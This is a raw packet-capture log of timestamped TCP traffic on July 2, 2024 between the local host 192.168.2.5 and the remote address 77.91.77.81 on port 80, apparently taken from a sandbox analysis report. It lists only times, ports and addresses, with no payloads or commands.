Jul 2, 2024 04:12:13.965461016 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.965461016 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.965470076 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965481043 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965501070 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965512991 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965517998 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.965517998 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.965529919 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965543985 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.965543985 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.965548992 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.965564013 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.965584993 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.966275930 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966284990 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966301918 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966331005 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.966331005 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.966332912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966346025 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966357946 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966371059 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966372013 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.966392994 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.966413975 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.966447115 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966455936 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966470957 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966480017 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966487885 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.966496944 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966505051 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.966510057 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.966538906 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.966538906 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.966569901 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.967303991 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.967314959 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.967336893 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.967355013 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.967355967 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.967365980 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.967375994 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.967382908 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.967392921 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.967405081 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.967417002 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.967417955 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.967417002 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.967427969 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:13.967436075 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.967451096 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:13.967468977 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.017635107 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.017647982 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.017667055 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.017683983 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.017697096 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.017710924 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.017721891 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.017741919 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.017754078 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.017769098 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.017805099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.017805099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.017805099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.017805099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.017806053 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.017806053 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.017806053 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.057436943 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.057507038 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.057547092 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.057555914 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.057717085 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.057717085 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.059609890 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.059622049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.059638023 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.059652090 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.059654951 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.059680939 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.059680939 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.059719086 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.060184002 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.060194016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.060210943 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.060225010 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.060228109 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.060241938 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.060251951 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.060269117 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.060269117 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.060269117 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.060269117 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.060278893 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.060296059 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.060297012 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.060317993 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.060336113 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.089078903 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.089098930 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.089117050 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.089138985 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.089196920 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.089205027 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.089215994 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.089234114 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.089242935 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.089251041 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.089262009 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.089268923 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.089278936 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.089289904 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.089289904 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.089310884 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.089325905 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.089354038 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.089926958 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.089975119 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090003014 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090013981 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090051889 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090074062 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090078115 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090117931 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090137959 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090148926 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090178967 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090203047 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090214968 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090225935 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090241909 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090254068 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090261936 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090274096 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090287924 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090274096 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090312958 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090313911 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090313911 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090313911 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090322971 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090342045 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090342999 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090342999 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090354919 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090361118 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090373039 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090382099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090401888 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090418100 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090514898 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090524912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090540886 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090553045 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090553045 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090573072 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090573072 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090585947 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090596914 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090596914 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090601921 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090615988 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090615988 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090631008 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090631962 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090646029 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090651989 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090660095 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090672970 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090677023 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090701103 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090724945 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090831041 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090842962 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090858936 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090868950 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090873003 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090888977 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090893030 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090893030 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090898991 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090912104 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090914965 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090930939 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090930939 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090949059 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090950966 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090965033 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090966940 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090981007 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.090991020 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.090993881 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091010094 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091012001 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091020107 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091031075 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091037989 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091047049 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091051102 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091067076 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091075897 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091080904 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091093063 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091120005 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091557980 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091588974 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091598034 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091602087 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091626883 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091639996 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091645956 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091654062 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091666937 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091681004 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091701031 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091701031 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091737032 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091747999 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091764927 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091778040 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091778040 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091793060 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091803074 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091803074 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091806889 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091825962 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091847897 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091886044 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091896057 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091912985 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091929913 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091929913 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091947079 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091952085 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091965914 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091969013 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091980934 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.091988087 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.091995001 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.092010975 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.092010975 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.092011929 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.092029095 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.092045069 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.093630075 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.093640089 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.093657017 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.093669891 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.093679905 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.093712091 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.093772888 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.093786955 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.093811989 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.093839884 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108306885 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108338118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108350992 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108357906 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108376980 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108385086 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108392954 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108401060 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108416080 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108428001 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108447075 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108464956 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108503103 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108542919 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108561039 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108572960 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108592987 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108601093 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108608007 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108620882 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108628035 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108639956 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108639956 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108659983 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.108663082 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108663082 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108680964 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.108697891 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150397062 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150435925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150450945 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150449991 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150476933 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150496006 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150496006 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150506020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150527954 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150542021 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150554895 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150553942 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150554895 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150554895 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150563955 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150588036 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150588036 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150597095 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150607109 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150607109 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150623083 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150631905 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150635958 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150646925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150676966 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150676966 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.150897980 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.150940895 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.181792021 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.181828022 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.181843996 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.181850910 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.181869030 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.181885958 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.181890011 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.181900024 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.181916952 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.181926966 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.181937933 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.181952953 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.181955099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.181967020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.181982994 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.181996107 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.182317972 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182328939 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182347059 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.182354927 CEST	49705	80	192.168.2.5	77.91.77.81
